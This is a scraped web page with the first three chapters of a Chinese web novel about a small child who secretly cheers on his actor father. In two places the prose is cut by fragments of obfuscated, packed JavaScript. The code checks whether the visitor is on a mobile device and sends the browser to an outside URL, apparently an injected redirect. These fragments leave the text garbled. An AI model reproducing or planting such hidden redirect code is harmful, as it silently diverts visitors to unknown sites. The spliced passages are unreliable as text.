《我是带球跑文里的崽》 1. 第一章 “谢谢叔叔。” 红薯摊前，蔚嘟嘟踮起脚尖探出胳膊，包子一样的小手接过卖红薯的叔叔递给他的口袋，顺便露出腕上的儿童手表，让叔叔扫码。 扫码支付11.3元。 卖红薯的叔叔对五短身材的小朋友没有抵抗力，尤其接过红薯后、蔚嘟嘟还露出了一个甜滋滋的笑容。 “小朋友，今天也来买红薯呀？” “是呀，叔叔。”大眼睛弯成了甜月牙，红薯袋子和红薯都太大，嘟嘟要两只小胳膊抱着才不会使其底部着地。 抱紧红薯袋子的蔚嘟嘟直起小身板：“我爸爸喜欢！” “小朋友这么乖呀，原来是来给爸爸买红薯。” 摊主立即笑出来：“不过我这红薯的确是最好吃的，你看电视了没有？连大明星都喜欢！……自从他买了我这红薯，我这摊子就火了……” 近期生意状况大逆转，老板喜笑颜开，逢人就要说起半个月前因为有明星录节目的时候买了他的红薯，之后他这摊子就火了的神奇经历。 当然火了的原因，并不是因为他做的烤红薯最好吃。 而是那个叫蔚染的明星，吃相太好。 单靠着一张惊世绝艳的脸、以及站在街边随意吞咽红薯的几个动作，就让这家的红薯出圈了…… 老板此前从不关注任何娱乐圈相关的信息，他上有老下有小，娃还生病等着钱花，哪有时间关注那些没用的东西？ 听顾客谈起这件事情后，老板也很懵，很明显他并没有提前给过节目组宣传费——买红薯应该单纯是因为作为那档综艺的飞行嘉宾的蔚染，饿了。 总之，平时连短视频都不怎么刷的老板，还刻意上网搜索了蔚染吃红薯的视频，他是真好奇了，一个人的吃相究竟能有多好看，才会直接带火一个摊位？ 搜索过后，老板垂直加入路人粉籍。 综艺节目上，蔚染吃红薯的画面，前后加起来不过三个镜头。 镜头前的青年面颊削瘦皮肤白皙，带着不需任何修饰的天然秀气，几根手指又长又细，指甲修剪圆润整齐，略微泛着淡淡粉意。 第一个镜头，蔚染笑意灿烂，邀请工作人员一起吃。 镜头二，蔚染双手捧着红薯，低眸垂睫，表情认真地吹红薯上的热气。 镜头三，是吃到红薯后的青年两颊微鼓，薄唇轻抿，带着影影绰绰满足的笑意，漂亮的凤眼略微眯起，正对着镜头的模样温馨又满足。 “笑得太甜了！” “妈耶这红薯得有多好吃？能让一路都迷迷糊糊的染染吃得这么开心！” “同好奇有多好吃……” “宝宝吃得好认真，哈哈哈刚才游戏输那么惨都没见他这么认真，好可爱啊靠！” “呜呜染染简直是天使！！” 弹幕划过间，从来不懂为啥要追星的老板，也被那样淡淡的、但充满满足的笑容所打动。 垂直加入粉籍后，老板也燃起了重重自信——自己精心挑选食材制作的烤红薯肯定不赖，要不然那大明星能吃那么香？ “是的哦。”蔚嘟嘟抱紧红薯，听老板叔叔这么说，小胸膛挺得更高，很给面子地说：“叔叔的红薯不赖，大明星都喜欢呦！” 声音更美了。 摊主以为这刚过人膝的小豆丁是单纯重复他的话，感慨这小孩儿也太可爱了的时候，又不禁说：“其实蔚先生来买红薯的时候，我就记住他了。” 老板真心感谢那大明星给自己带来的流量，因此一旦有粉丝向他打听蔚染，他都会多说几句。 但眼前的小朋友这么小，肯定不是追星的，估计也听不懂。 可是这奶白团子太可爱，感觉也乖乖的，老板就忍不住对他述说：“他太好看了，当时给我的印象就很深，想着这是天仙下凡吧？所以记得特别清。” 听见“天仙”两个字，摊位前的小豆丁、黑葡萄似的眼睛瞪得越发浑圆发亮，依旧重复：“他太好看了！” “是啊，咦？” 想起那天来买红薯的蔚染的长相，老板又看了看自己摊前捧着红薯的小豆丁，忽然觉得这小娃娃瞅着跟那天的大明星，好像哪儿有点像…… 这时，他摊子前又挤进两名女生。 “就是这家，就是这家！蔚染吃的都是这家的烤红薯！” 其中一名女生尖叫，另外一名女生已经急匆匆地下单：“老板，两个烤红薯！” “好咧！”老板立即忘记刚才的疑惑，笑意满满地给女学生装蔚大明星同款烤红薯。 摊子前，蔚嘟嘟同样笑眯眯地看着两个大姐姐。 “呀，你好呀小朋友。” 兴冲冲下单了烤红薯的女生跟粉雕玉砌的小团子对上视线，下意识地对蔚嘟嘟挥了挥手。 蔚嘟嘟很有礼貌地挥了挥小胖手：“姐姐、好！” 然后重新抱紧怀里的大红薯。 嘟嘟没跟老板撒谎，他爸爸的确喜欢这个红薯。 蔚染就是他爸爸！ 当然，嘟嘟最近这几天、每天都来买红薯的原因，却并不是因为要给爸爸吃红薯。 嘟嘟只是单纯喜欢跑来这边，看这些哥哥姐姐因为买到了爸爸同款红薯而兴奋开心的模样。 好开心喏。 有人喜欢爸爸。 每次看见有人喜欢爸爸，嘟嘟都好开心。 当然，嘟嘟是最喜欢爸爸的。 但是嘟嘟也希望，有好多人好多人可以喜欢爸爸！ 因为嘟嘟的爸爸是明星，越多的哥哥姐姐喜欢爸爸，爸爸的人气就越高，人气越高，爸爸就越可以拿到想要的资源，进而实现梦想…… 为了爸爸的梦想，嘟嘟想要好多好多的姐姐哥哥都喜欢爸爸！ 红薯摊前，穿着小背带裤、白蓝格子小卫衣的人类幼崽忽然握紧拳头，一脸兴奋，两侧的小奶膘都跟着颤了又颤。 尽管五短身材过于圆润，但嘟嘟小胸膛挺得很高，便有了一丢丢小领导指点江山的派头。 刚才尖叫着“蔚染吃的就是这家的烤红薯”的姐姐一回头，就看见这一幕，不禁再度发出尖叫：“啊啊啊，这是哪里来的可爱萌崽？小朋友，你也太可爱啦吧！” 嘟嘟对忽然蹲下看自己的女生眨了下眼，一点都不怕生地说：“谢谢姐姐！” 姐姐：“啊啊啊！！” 长长的眼睫灵活地向下一折又扬起，嘟嘟又说：“谢谢姐姐，喜欢蔚染呦！” 小朋友声音奶萌，语速有点慢，但吐字却特别清晰。 蹲在他面前的大姐姐瞬间就听明白了他在说什么—— 这小家伙，竟然是在给蔚染应援！ 女生明显一愣：“你也喜欢蔚染？” 作为蔚染的新晋铁粉，女生已经很清楚蔚染一路走来有多不容易。 蔚染从谷底一路走出来，刚刚凭借新剧发光发亮，没想到已经连这么小的粉丝都俘获了，不禁跟自己的偶像与有荣焉。 “是哒！”蔚嘟嘟已经没有任何犹豫地点头回应姐姐。 他当然喜欢爸爸啦！ 小奶膘又是一颤，蔚嘟嘟诚实宣布：“嘟嘟，最喜欢染染啦！” . 回家的路上，嘟嘟单手被王奶奶牵着，另一只小手还举着一根奶酪棒。 奶酪棒是水果味的，比普通牛奶味要甜一些，嘟嘟喜欢先嘬味儿，等吸溜够了再吃。 蔚嘟嘟一边嘬，一边深沉思考—— 八位哦。 在嘟嘟在红薯摊前蹲点的半个多小时里，总共有八个人——六个漂亮姐姐、两个帅气哥哥，为了买爸爸的同款红薯去排队！ 这个数字，比昨天还要多了两个。 说明爸爸越来越红了。 想到这里，蔚嘟嘟愈加觉得甜滋滋的，恨不得把手里的奶酪棒嗦得啧啧直响。 “宝贝，好好吃东西，注意看路。” 眼见蔚嘟嘟又玩奶酪棒了，身为保姆的王奶奶不禁出言提醒。 在她的视野中，身高只在她大腿中部的嘟嘟正迈着小步子，尽管步履缓慢、但给人感觉十分坚毅地向前走着。 ……这孩子，又不知道在思考什么呢？ 王奶奶想笑。 实在是西瓜头的嘟嘟，偶尔却会摆出类似大人认真思考时的小表情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361008|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但因为宝贝的眼睛太圆、小奶膘太突出，让这偶尔会呈现深沉思考状的人类幼崽看上去着实非常喜感。 ——也是，嘟嘟才四岁，能想些什么啊。 王奶奶低头看向被自己牵着的小豆丁，一脸慈爱。 很听话的嘟嘟，在听见奶奶的提醒后，就真的开始细细啃着奶酪棒，然后注意看路。 小模样乖得不行。 任何照看他的人见了这一幕，都忍不住心软成一片。 嘟嘟爸平时忙，特意雇佣了好几个人照看嘟嘟。包括王奶奶在内的每个人都很喜欢嘟嘟。 但嘟嘟心里清楚，他们家的经济状况其实没那么好，爸爸是因为担心嘟嘟、怕嘟嘟生活得不好，才雇佣这么多爷爷奶奶照看嘟嘟的。 蔚嘟嘟打出生起就莫名知道，自己生活在一本书中，他爸跟人有过一段情，之后带球跑。 自己是那个球。 也正因为如此，嘟嘟比同龄的小朋友都要懂事一些，因为他知道爸爸把自己生下来，还要照看自己有多不容易。 其实刚出生的时候嘟嘟就很想跟他爸说，别跑了，据说现在流行带球不跑文学！ 但奈何那时候太小，他咿咿呀呀连手带脚、四脚朝天地挥舞都比划不清楚，他爸竟然只以为他崽儿在卖萌！ 后来接收到更多剧情，嘟嘟才知道原本自己这本，是叫那什么无限流狗血文的。 什咩是无限流狗血文，嘟嘟不是很明白。他只知道如果爸爸被另一个爹简简单单追回去，之后就会发生很多狗血事件，被虐心虐身！ 可即使爸爸最后也没有跟自己的另一个爹在一起，中间也会出现很多情节，致使爸爸受尽欺凌，患上那个叫“玉玉症”的病病，最终选择自杀。 总之一不小心，嘟嘟就会变成没有爸爸的崽崽！！ 得知这些剧情后，嘟嘟便不在乎他爸跑不跑的事了。 要改变剧情线，嘟嘟知道，首先他跟爸爸都要很有钱、很成功，那样无论自己是否有另一个爸爸，他跟爸爸都会过得很好。 ——自立！ 接收剧情的时候，嘟嘟微薄的意识不知怎么、就被打上了这两个字的烙印。 于是，无论如何都不准爸爸因为嘟嘟放弃事业，就成了嘟嘟要做的第一件大事！ 尽管……为了不放弃事业，爸爸真的好苦好苦。 含着奶酪棒的嘟嘟低头看着自己的穿着小鞋子的小脚丫……每次想到这些，小小的人类幼崽都会很不开心。 为了生下自己，事业上升期的爸爸推了好多工作、赔了好多钱，得罪了好些人。 后来因为不愿否认嘟嘟的存在，爸爸还因为未婚生子被公众讨伐，险些丢了工作…… 再后来。 为了重新获得资源有戏拍，爸爸跑了很多很多的龙套，吃了很多很多的苦，还挨过很多很多的骂。呜…… 都是因为嘟嘟。 每每想到这里，嘟嘟都会忍不住小腮帮鼓鼓，嘟起小嘴巴。 尽管爸爸都不许嘟嘟这么想的。 但嘟宝，是很心疼爸爸的哇！ 幸好，最艰难的时期已经熬过去了。 爸爸的新戏爆了。 据经济人叔叔说，爸爸的新剧是两年来唯一爆火出圈神剧。 这个嘟嘟也不是很懂。 嘟嘟只知道，爸爸至少已经爆到剧还没播完、就有哥哥姐姐特意跑来买爸爸同款烤红薯的程度！ 一切都在向好的方向发展…… 想到这里，嘟嘟又开心了。 看了眼被奶奶拎在手里的烤红薯，蔚嘟嘟忽然毫无预兆地欢快向前一蹦！穿着白色小衣服的嘟嘟，就小兔子一样地蹿了出去。 “呀！” 王奶奶被吓了一跳，知道小孩子都喜欢蹦蹦跳跳，但她还是怕嘟嘟摔到。 蔚嘟嘟已经回头，冲王奶奶奶呼呼的一笑。 “奶奶我们走快点吧。” 小小的人类幼崽操着甜甜脆脆的小萌音、轻轻摇晃奶奶牵他的手，小奶膘因为骤然蹦跳，还一颤一颤—— “爸爸的电素剧，今天有更新哦！” 2. 第二章 微博，蔚染超话。 【@韦玉书福泽绵延：打卡染染@蔚染同款红薯[图片]】 【@蔚染事业顺遂：买染染同款红薯的时候还遇见了个小朋友，好可爱！染染竟然拥有这么小的迷弟！[图片]】 【没办法，谁叫阿染的韦玉书这么有魅力呢！】 【哈哈哈蔚染的剧粉年龄上至84下至4岁。】 【哇哦，这小孩好可爱！】 网友上传的“小迷弟”照片只拍了张侧脸。 但因为是侧脸的缘故，更加凸出了这孩子的眼睛大，以及小奶膘鼓胀。 【像腮帮里塞了块小粘糕子。】 【这小孩睫毛好长】 【颜值好高呦！好像染染！】 【像染染+1，我染小时候一定也这么可爱！】 【这小孩真是蔚染粉丝？我咋不信，说不定人家孩子只是单纯来买红薯的】 【附议，蔚染只是演一个韦玉书火出圈了，我承认他塑造的这个角色很有魅力，剧粉临时增多也正常。但差不多就得了，一个吃红薯的镜头而已，至于这么多人跑去买红薯打卡？有些人也不必这么吹……】 【@蔚染事业顺遂：不好意思，这小弟弟自己承认，他是染染的粉丝的[视频]】 视频仅有3秒。 是跟照片上一模一样的小孩儿，举着小拳头宣称他最喜欢染染。 稚嫩、奶味十足的小童音却意外的嘹亮，吐字清晰，点开视频的人都能把他的话听得一清二楚。 网友：(*?▽?*) 【@蔚染爆红下去吧！：我作证他真是蔚染的迷弟！昨天我买烤红薯的时候也看见这小孩了！】 蔚嘟嘟尚不知道下午一起买红薯的姐姐把他发在网上、致使嘟嘟作为爸爸的迷弟小小地火了一把。 蔚染也不知道。 晚上十点半，蔚染拍完夜场戏回家，在家门口对身后的助理做了个“嘘”的手势。 棒球帽檐下露出的半张脸下颌线明显，蔚染皮肤白，唇色浅淡，看上去憔悴。 身为蔚染的助理兼保镖，武宝宏很懂地点点头。 他知道染哥的儿子这会儿可能睡了，蔚染是担心嘟宝被吵醒。 但染哥今天凌晨三点半就起床上工了，一整天没怎么休息，连轴转了十几个小时，他们助理都完成了三班倒，染哥还一个人在撑着。 即便是铁血硬汉武宝宏也怪心疼自己的雇主的，他连忙示意染哥开门，好进去休息。 蔚染刷指纹扭开大门。 屋内，橙黄色的灯光披散下来，武宝宏自然地跟在蔚染身后进屋，打算悄无声息地把蔚染的东西放下就跑路。 这时，屋内一阵窸窸窣窣的声音传来。 最远离大门的那间房门被打开，穿着小恐龙睡衣、怀里抱着羊驼玩偶的蔚嘟嘟晃了出来。 啪嗒啪嗒，恐龙睡衣后面的大尾巴晃荡晃达。 门口的俩大人动作齐齐一顿。 蔚嘟嘟揉着眼睛打了个哈欠，刚晃出房门的瞬间就忘了自己爬起来要做什么，直到片刻后他睁开惺忪的眼、看见玄关处的爸爸。 “爸爸！”嘟嘟摇着小恐龙尾巴就跑向爸爸。 手里还抱着小羊驼。 蔚染自然地躬身抱住扑过来的小豆丁。 他本想将小恐龙造型的儿子一把抱起，但初秋时节，夜里有些凉，甫一接触嘟嘟暖呼呼的小身子，蔚染就察觉到自己一身的寒气了。 于是蔚染叫嘟嘟站在原地别动，他自己脱了鞋子和外衣，将外衣挂在玄关的衣帽架上，顺便将冰冷的双手搓热，才步入房中抱起嘟嘟。 被爸爸抱起来的蔚嘟嘟，视野陡然拔高。 嘟嘟又看向爸爸身后，认出来人，很有礼貌地打招呼：“宝哥哥，晚上好！” “唉！” 没人能够拒绝蔚嘟嘟软乎乎的小奶音环绕，武宝宏连忙应着：“嘟宝晚上好哇！” 虽然武宝宏身为职业保镖，造型跟某家喻户晓的宝哥哥不大相称就是了。 但壮汉秒变夹子音，又怎么不代表一种对蔚嘟嘟的喜爱呢！ 尽管，嘟宝要是能叫他叔叔更好了……不然不是差辈了？ 武宝宏记得自己第一次见蔚嘟嘟时，还不及人膝的小奶团子直接跑到他面前，露出可萌可萌的大脸蛋，然后特别认真问自己，“叔叔，你是嘟嘟另一个爸爸咩？” 那场面…… 被叫宝哥哥也挺好。 蔚嘟嘟这小朋友，也不知道谁跟他说过什么，让他无比确信地知道自己有两个爹。 而关于嘟嘟另一个父亲的事，又是蔚染这辈子最大的忌讳。 别看染哥平时总一副笑眯眯、很好说话的样子，可这事谁都不敢提。 旁边，蔚染平视蔚嘟嘟，声音很轻地问：“嘟嘟，爸爸是不是又吵醒你了？” 因为长期缺乏睡眠气血不足，蔚染的声音不仅轻，还软，故意在儿子面前放软声音后，就跟绵羊差不多了。 蔚嘟嘟瞬间摆弄起自己手里的羊驼玩偶。 “没有噢。” 明显是刚睡醒的人类幼崽按了按小羊驼的耳朵：“嘟嘟，是自己醒来哒呀？” 蔚染苍白的嘴唇浮起一个笑意，又气笑了似的，在蔚嘟嘟的小屁屁上拍了一下：“爸爸不是说过，睡觉的时候不许穿小恐龙睡衣的吗？” 蔚染没拍到嘟嘟的小屁屁，因为睡衣后面小恐龙的尾巴很大，填绒量过多、致使整条尾巴连尾巴尖尖都是翘着的，蔚染手劲再大也打不透。 因为这条尾巴，这件睡衣并不适合被穿着睡觉。 但嘟嘟却很喜欢穿着它睡。 一开始蔚染还以为儿子是太喜欢这只小恐龙了，后来才发现嘟嘟就是故意要穿这样无法睡舒服的睡衣去睡，这样自己回家时弄出点动静，这小孩就醒了。 嘟嘟是故意要等爸爸回来以后再彻底睡去。 “没有噢。”蔚嘟嘟圆眼睛更是一转，不等爸爸发作就直接否认的爸爸的猜测，他在爸爸的怀里抓过小恐龙的大尾巴。 将大尾巴和羊驼一起抱在怀里，更方便爸爸抱嘟嘟。 但这样一来嘟嘟就比较吃力了，蔚嘟嘟吃力地眨眼睛。 “是嘟嘟穿着小恐龙，穿着穿着就睡着啦！” “……” 蔚染哪能不知道儿子的小伎俩，他接过嘟嘟怀里的羊驼玩偶一起抱着，又心疼地揉了揉儿子半边面颊上被压出的红色印子……很想说，因为穿小恐龙睡觉不舒服只能侧卧，宝宝你现在粘糕一样的脸蛋已经被压变形了！ 但蔚染终究不舍得凶宝宝，只亲了亲这块软乎乎红彤彤的小粘糕，强调：“说了多少遍，不许特意等爸爸晚上下班。” “可是现在也没有很晚噢。” 蔚嘟嘟说着还装模作样地看了眼挂在客厅上的表盘，可是他还米有学会看那种指针表，所以嘟嘟也只是随口一说。 蔚染托着他翘着小尾巴的屁屁，抱着他进屋，没法子地无奈道：“嘟嘟不好好睡觉，以后长不高怎么办？” “不会哒，爸爸高。” 蔚嘟嘟说得理直气壮，蔚染一哽，还留在玄关的武宝宏则开始不知所措地五官乱飞—— 染哥是挺高的，一米八，在内娱一众男明星中属于近乎完美的身高。 但估计嘟嘟的另一个爹……如果另一个真也是父亲的话。那个人应该也不矮。 因为作为保镖、比染哥还高出几公分的武宝宏，也是因此被嘟嘟问是不是他另一个爸爸的。 ……根据武宝宏的观察，会被嘟嘟问是不是自己另一个爸爸的人，身高都比染哥要高。 武宝宏可不知道嘟嘟的另一个爸爸是谁。 染哥忽然爆红后才多了助理和保镖，他跟在染哥身边其实还没太久。 唯一知道的是五年前染哥还是对家公司红极一时的娱乐圈新秀，忽然就自曝有了孩子。而后被公司封杀，被相中他的金主雪藏，被粉丝们脱粉回踩，任由业内外人士怎么猜测，关于他另一半的消息，染哥始终一个字都没提过。 “对了，宝哥哥、要不要吃红薯？” 团在爸爸怀里路过厨房的时候，蔚嘟嘟跟还杵在门口的保镖哥哥大眼对上小眼。 武宝宏当即摆手：“叔叔不吃了，谢谢嘟嘟。” 他跟蔚嘟嘟各论各的，自称叔叔后，武宝宏：“嘟嘟又去买烤红薯了？” “是呦。”嘟嘟趴在爸爸的肩上，小脚丫快乐地一晃一晃：“还排队了呦！” 武宝宏听其他助理提过，依稀知道嘟嘟去买红薯、是为了数来给他爸爸应援的人数，不禁附和道：“那今天买红薯的人肯定更多了吧？” “嗯！”蔚嘟嘟很快伸出两个小小的手指头：“比嘟嘟昨天看的，多了两个！” “嘟嘟真聪明，算数真好！” “谢谢宝哥哥！嘟嘟，请你吃烤红薯！” 蔚嘟嘟说着，就从爸爸怀里蹿下来，自己跑到厨房找到王奶奶刻意留下的烤红薯，又摇晃小恐龙尾巴哒哒哒地拿来递给武宝宏。 武宝宏：“……叔叔不吃，爸爸喜欢吃，嘟嘟给爸爸吧……” 武宝宏想起染哥晚上只吃了一个苹果，和一小碗酸奶杯。 那点东西他几口就能炫没，正常男人都吃不饱，更遑论蔚染吃完后还在威亚上又吊了两个小时。 “没关系哦。”但蔚嘟嘟却说：“我爸爸，不太喜欢吃东西的。” 明星都要保持身材，蔚染出圈的戏就是一部古装剧，对造型要求更高，胖一点都会影响形象。 而染哥的自制力相当惊人，武宝宏了解这点，最终盛情难却地接过嘟嘟特意递过来的烤红薯。 又倏地觉得不对。 可是染哥不是在综艺上饿坏了，才脱离综艺剧本买了烤红薯吃，进而让那家红薯摊火出圈的吗？…… 至少武宝宏了解的八卦新闻上都这么说，有些营销号还直接把染哥写成了吃货，但粉丝觉得萌，公司也没太管过类似言论，他也从没想过太多。 可如今想来，染哥好像真的不咋爱吃东西…… 不是刻意为了保持身材才不吃的。因为那样的人，私底下多少还都会抱怨两句。武宝宏的上一个雇主咖位比染哥低多了，还没有染哥瘦，每次吃代餐减肥的时候还都会爆粗口。 可染哥真的没表达过对清淡饮食的不满，看上去就不是个好吃的人。 事实上除了演戏和嘟嘟外，蔚染整个人都是清清淡淡的，24小时跟他身边都很难见他对其他事物产生什么兴趣和好奇。 或许是睡眠少的缘故，蔚染不工作时，给人的感觉总是一种迷迷糊糊的状态。旁人正常说话他都不大能跟上思路的样子，自然不会主动去表达自己、或去争取什么。 但因为相貌实在是好，即便经常处于游离状态在旁边一杵，别人对他的关注也不会减少半分，反而会更好奇他为何会如此淡然。 甚至有人会觉得他这是大智若愚。 最明显的就是热播剧《夜将行》的宣传活动上——自从这部小制作的B级古装剧从开局评分7.5分、一路逆袭到现在的9.2分，蔚染需要配合剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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蔚染将蔚嘟嘟身前的一整条拉链拉开，小孩子独有的光滑白嫩的小肚肚露了出来，蔚染先是伸手戳了戳自家幼崽软嫩嫩的小肚腩，接着撑开拉链，示意嘟嘟先把头钻出来。 嘟嘟的大脑袋很快从拉链处出现。 细碎的头毛摇晃，又自动变回小西瓜头的造型。嘟嘟又一屁股坐在地毯上，配合爸爸把自己的小脚丫从小恐龙里掏出。 蔚染着急让幼崽睡觉，动作有些快，还不忘叮嘱：“嘟嘟要好好睡觉，睡不好就会生病，生病就要去医院被伯伯打针，嘟嘟忘了自己上次哭得好大声？” 蔚嘟嘟果然瑟缩了一下，猛猛摇起小胖手：“爸爸，宝宝不要打针！” “嗯，那以后晚上八点就要好好睡觉，睡觉期间不许再穿小恐龙衣服。” 蔚染说：“白天穿。” 嘟嘟被爸爸碰到痒痒肉，下意识咯吱笑了一下，也没有答复，又忽然想起什么，开始分享小秘密似的对爸爸说：“卖红薯的叔叔，这几天可开心了，爸爸，叔叔儿子的手术费快凑够了哦！” “哦是吗，”同样坐在地毯上忙着给儿子脱衣服的蔚染：“叔叔的儿子要动手术了吗？” “是噢，叔叔嗦，他很感激你。” “感激我？”蔚染歪头搔了搔脸，露出经典的断片式茫然表情：“感激我什么呀？” “唔，因为爸爸买了他的红薯？”嘟嘟也不是很懂。 他学爸爸的样子搔自己的大脸蛋：“可是上次在医院遇见那个叔叔，爸爸还给他钱了，他也米有感谢爸爸呀？” 蔚染表情又是一空，他是真的困了，大脑处于空白宕停的状态，好半天才把嘟嘟口中的红薯摊叔叔，跟上回嘟嘟生病去医院时、他们碰上的崩溃大叔联系到一起。 “因为捐款是匿名的，叔叔不知道那是嘟嘟和爸爸捐的，嘟嘟也不要说。”蔚染说。 “好哦。”这事蔚嘟嘟之前就答应过爸爸的，嘟嘟不会说！ 小小的人类幼崽，又忍不住对着好不容易才见到的爸爸咿咿呀呀：“对了哦，红薯摊隔壁的栗子叔叔说，爸爸下次要是去买他的烤栗子就好了，那样子他的烤栗子也能火！” 另一只小脚丫也被从恐龙睡衣里拽出来，嘟嘟：“可是栗子叔叔好像没有家人生病住院噢？……” 那样爸爸还需要去买他的栗子咩？ 可是，没有人光顾生意的栗子叔叔也好可怜呦…… 嘟嘟没来得及问问题，也来不及多想，就被爸爸抱到了床上。 小小的身体陷在暖呼呼的被褥里，嘟嘟下意识蹬了下小腿，可爱的小模样让蔚染忍不住俯身，将儿子抱在怀里。 捐款不留名也好，认出这个人、顺便去买红薯帮一把也罢，如果这些都能算作功德的话，蔚染只希望自己的嘟嘟平安长大，快乐顺遂。 蔚染苍白秀气的脸上浮现出一丝笑意，一开始还有些虚弱，在蹭了蹭儿子粘糕一样柔软的面颊后，他笑容骤然放大许多。 他对嘟嘟说：“那嘟嘟下回去买红薯的时候，也顺便买份栗子吧？不然栗子叔叔好可怜的。” “好哒！”嘟嘟答应了爸爸，并很开心爸爸跟嘟嘟的想法一样，于是嘟嘟又在爸爸的怀里咯咯地笑出来。 唔，爸爸的身上香香！ 近距离看爸爸，更漂酿！ 嘟嘟，最喜欢爸爸了！ 可是爸爸也好辛苦哦……嘟嘟每天早上起来，王奶奶都说爸爸早就去上工了！…… 所以嘟嘟的愿望是，希望这个世界的姐姐姨姨哥哥叔叔们，都永远喜欢爸爸！就像永远有人光顾红薯叔叔的摊位一样！ 3. 第三章 第二天，嘟嘟早上起来，又没有看见爸爸。 保姆推开房门进来的时候，就见小小的人类幼崽自己坐在床上，捧着小短腿，正奋力地往自己的小脚上套袜子。 “哎呦嘟嘟醒啦？怎么也不叫奶奶。” “王奶奶！”嘟嘟睡了一夜，声音还是甜甜脆脆。 因为早上爸爸临走前往嘟嘟的床头放了杯子，嘟嘟醒来，已经寄几喝过水啦！ 但蔚嘟嘟越是这样，在大人眼中就越让人心疼。 王奶奶赶紧走进卧室：“你爸爸今天走的晚，五点半才离开家门。” 五点半对于普通打工人来说都过于逆天了，但蔚染早晨三四点就出门的时候太多，连素来喜欢早起的王奶奶都跟不上这节奏。 “以前觉得当明星是最轻松的，随随便便做点什么就来钱，见了你爸爸才知道这活儿是真不容易。” 嘟嘟深以为然地点头：“不yóng易！” 王淑琴上了年纪后就喜欢唠叨，尤其是小嘟嘟很会打配合，什么时候都在认真倾听，还会给予回应。 于是王奶奶一边给嘟嘟穿袜子，一边笑着开始今日份的絮叨：“习惯了先生的工作时间，现在我都觉得他五点半有够晚的……嘟嘟以后可得好好孝顺爸爸，你爸爸太辛苦了。” 嘟嘟：“太辛苦了！” “乖崽，奶奶看看。”穿好了袜子，王奶奶又把嘟嘟从床上抱起来，左右看看，继续夸道：“我们嘟嘟最乖了，早上起来就自己把小衣服穿好了，不哭也不闹的，走，奶奶抱你洗脸吃早餐。” 蔚嘟嘟顺势趴在奶奶肩上，柔柔软软，眼睛亮亮：“嘟嘟，最乖！” 嘟嘟今天的早餐是一只小兔子形状的蔬菜包，一碗鸡蛋羹和几只蔬菜肉丸子。 丸子是王奶奶自己绞的新鲜牛肉馅，用佐料腌制入味后，搭配胡萝卜、蔬菜丁和玉米粒做成肉糊糊，再撒上一把小香葱碎，最后制成饼状放在锅里煎熟。 这样做出的丸子外焦里嫩，弹牙多汁，嘟嘟很喜欢吃。搭配鲜亮的鸡蛋羹，嘟崽吃得美滋滋。 王奶奶最喜欢看嘟嘟吃东西的小模样，关键是小奶膘一鼓一鼓，特别萌。 她用手机拍了个视频准备发给蔚染，又跟嘟嘟说：“早上你爸走得急，我给他也蒸了份鸡蛋羹，他没吃，就揣俩包子走了。嘟嘟好好吃，咱们馋馋爸爸。” “唔。”嘟嘟听了，耷在儿童座椅外面的小脚一翘，更加奋力干饭。 爸爸不爱吃东西，王奶奶说，嘟嘟要给爸爸做好示范，这样爸爸就乐意吃饭饭了！ 想起爸爸只拿走了两个包子，嘟嘟用小手拿起自己餐盘里的小餐包，直截了当地啃了起来，模样颇为义无反顾。 嘟嘟偏爱肉食，不喜欢吃菜，连素馅的包子也一并被宝宝嫌弃。 但每次王奶奶说要他给爸爸打样儿，嘟嘟便会鼓足气势奋力干饭。 听说爸爸带走了什么，嘟嘟就会特别认真地吃什么，要王奶奶录下发给爸爸。 就好比今天，但凡是嘟嘟把这个包子吃得美味一点，勾起爸爸的馋虫，爸爸就也会好好吃包子了！ 甚至率先将菜包里的青菜扯出来，小山羊吃草一样，蔚嘟嘟一边瞪着眼睛嘬菜、一边看向王奶奶的摄像头。 明明不喜欢吃，他黑葡萄一样的圆眼睛还是滴溜溜转着，整只幼崽散发出欢畅的气息，就差直接告诉爸爸：好吃的呦！ 对面的王淑琴已经乐不可支。 王淑琴虽然是个育婴师，专门负责看小孩的，但蔚染的年纪跟她家孩子差不多大，在她眼中就也还是个孩子。 年轻人工作都那么辛苦了，再不吃好一点怎么行？ 况且她想出的这个法子，既可以哄嘟嘟吃菜，又可以让嘟嘟爸吃饭，真是一举两得。 吃过了饭，嘟嘟就被奶奶送去上幼儿园。 蔚染是位非常贴心的雇主，讲好了王奶奶只负责管嘟嘟，家里活就全然不需要王淑琴伸手。白天另会有钟点工来家里做清洁。 除此之外为了方便接送嘟嘟和保障安全，蔚染还另外聘请了一位保镖给他们当司机。 也是这个缘故，王淑琴照顾这对父子才如此尽心尽力。 这个世界的行事规则还是将心比心。 更何况，嘟嘟这么乖，谁会不喜欢呢？ 下午三点半，接了嘟嘟放学，王奶奶又带着小幼崽去排队买红薯。 因为蔚染通常回家都挺晚，晚上不会再吃东西，而王淑琴自己血糖高，平时会控制饮食，嘟嘟更是自己吃不下一个红薯，最终就只能留给司机大叔吃。 所以一开始王淑琴还不赞同嘟嘟天天排队去买红薯。感觉买了吃不了的话，会很浪费。 但很快，在得知嘟嘟是在观察爸爸受欢迎的程度，不懂明星那一套的王奶奶惊讶于嘟嘟这么小就懂这么多的同时，也乐意带着崽崽去排队了。 买红薯成了这两周间，祖孙两个的固定活动。 今天排红薯的人更多了，直接排成了一串长队。 嘟嘟看着这么长的一串队伍，圆眼睛都瞪成了“O”形，眼底是藏不住的惊喜和喜悦。 但他没有立即跑去排队，而是先哒哒哒地，跑到隔壁卖板栗的摊位前。 “叔叔，板栗，怎么卖哦？” 